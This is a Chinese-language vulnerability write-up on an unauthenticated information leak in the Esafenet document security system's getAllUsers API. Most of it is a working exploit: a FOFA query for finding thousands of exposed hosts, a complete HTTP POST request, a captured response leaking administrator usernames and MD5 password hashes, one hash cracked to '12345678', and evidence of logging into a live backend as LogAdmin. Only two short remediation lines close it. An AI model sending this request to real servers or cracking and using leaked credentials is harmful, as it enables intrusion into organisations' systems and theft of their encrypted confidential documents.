

忆赛通电子文档安全管理系统 getAllUsers 信息泄露漏洞

漏洞描述

忆赛通电子文档安全管理系统 /CDGServer3/openapi/getAllUsers 接口处存在信息泄露漏洞，未经身份验证的远程攻击者可利用此漏洞获取后台账号密码等敏感信息，进一步MD5解密即可登录后台，泄露重要加密文件！

影响版本

忆赛通电子文档安全管理系统

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	严重
影响面	高
攻击者价值	高
利用难度	低

漏洞复现

FOFA： body="/CDGServer3/index.jsp"

POC/EXP：

POST /CDGServer3/openapi/getAllUsers HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko)

Chrome/97.0.4692.71 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,;q=0.8, application/signed-exchange;v=b3;q=0.9

Content-Type: application/x-www-form-urlencoded

pageSize=10000&pageNumber=1

原始 HTTP 请求	原始 HTTP 响应
<pre>1 POST /CDGServer3/openapi/getAllUsers HTTP/1.1 2 Host: 192.168.1.10:3 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 5 Content-Type: application/x-www-form-urlencoded 6 7 8 pageSize=10000&pageNumber=1</pre>	<pre>5 X-Frame-Options: SAMEORIGIN 6 X-XSS-Protection: 1 7 Content-Type: text/html; charset=utf-8 8 Date: Sun, 18 Aug 2024 03:01:35 GMT 9 Content-Length: 97811 10 11 { "code": 0, "data": { "totalNum": 269, "resultList": [{ "cdgId": "000400000002", "sex": "0", "x400": "6", "groupName": "zzry.zzjg", "password": "1DC72147FD2D188DB53588C675DAEC0F", "surname": "系统管理员(SystemAdmin)", "mobilephone": "", "isManager": "1", "state": "1", "organiseId": "0", "email": "", "timestamp": "1723950095124", "username": "SystemAdmin", "cdgId": "000400000003", "sex": "0", "x400": "6", "groupName": "zzry.zzjg", "password": "25D55AD283AA400AF464C76D713C07AD", "surname": "日志管理员(LogAdmin)", "mobilephone": "", "isManager": "0", "state": "1", "organiseId": "0", "email": "", "timestamp": "1723950095124", "username": "LogAdmin", "cdgId": "000400000004", "sex": "0", "x400": "6", "groupName": "zzry.zzjg", "password": "25D55AD283AA400AF464C76D713C07AD", "surname": "文档" }] } }</pre>

密文: 25D55AD283AA400AF464C76D713C07AD

类型: 自动 [帮助]

查询 加密

查询结果:
12345678

电子文档安全管理系统

3/CDGServer3/frame.jsp

电子文档安全管理系统 V5.0

刷新导航栏

当前位置: 主页

欢迎: 日志管理员(LogAdmin) 首页 修改密码 退出

流程日志

流程编号: 申请用户名: 申请用户姓名: 流程类别: 全部

申请理由: 文件名: 审批人: 审批状态: 全部

申请人所在部门: 选择部门 子组用户: 包含 起始日期: 2024-08-06 截止日期: 2024-08-18

查询 下载日志 归档日志 清空

流程编号	申请用户名	用户姓名	部门名称	流程类别	申请日期	审批人	审批状态	备注	流程明细
1			部	文档解密流程表	2024-08-18 09:50:29	930	审批通过		查看明细
2			组	文档解密流程表	2024-08-18 09:06:44	929	审批通过		查看明细
3			组	文档解密流程表	2024-08-18 08:49:12	929	审批通过		查看明细
4			部	文档解密流程表	2024-08-17 22:25:34	135	审批通过		查看明细
5			部	文档解密流程表	2024-08-17 20:33:00	930	审批通过		查看明细
6			部	文档解密流程表	2024-08-17 20:32:00	930	审批通过		查看明细

FQFA body="/CDGServer3/index.jsp" 会员 支持及工具

相关icon(4): 304 2 2 全选

16,842 条匹配结果 (9,725 条独立IP), 285 ms , 关键词搜索。

显示一年内数据, 点击 all 查看所有。
智能排除蜜罐/仿冒数据 4 条, 点击查看。

网站指纹排名

9TtiSN...	13,800
Mmng...	2,677
3oZzx...	138
yNqK...	136
ZIDGX...	40

国家/地区排名

>> 中国	14,843
>> 阿联酋	1,936
>> 中国香港...	38
>> 美国	10
>> 印度	4

电子文档安全管理系统

中国 / 北京市 / Beiji...

ASN: 45090

组织: Shenzhen Tencent C...

2024-08-16

Header

Products

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html;charset=GBK
Date: Fri, 16 Aug 2024 14:31:45 GMT
Set-Cookie: JSESSIONID=C325ACAF371F6816CBBB56886B9C4617; Path=/; HttpOnly; Secure
Set-Cookie: user=4593c3782dd0d071a726219257a67599f33135142e426

资产数量大。泄露机密加密文件，请及时排查通告。

修复方案

1. 设置安全组仅对可信地址开放
升级至安全版本
- 2.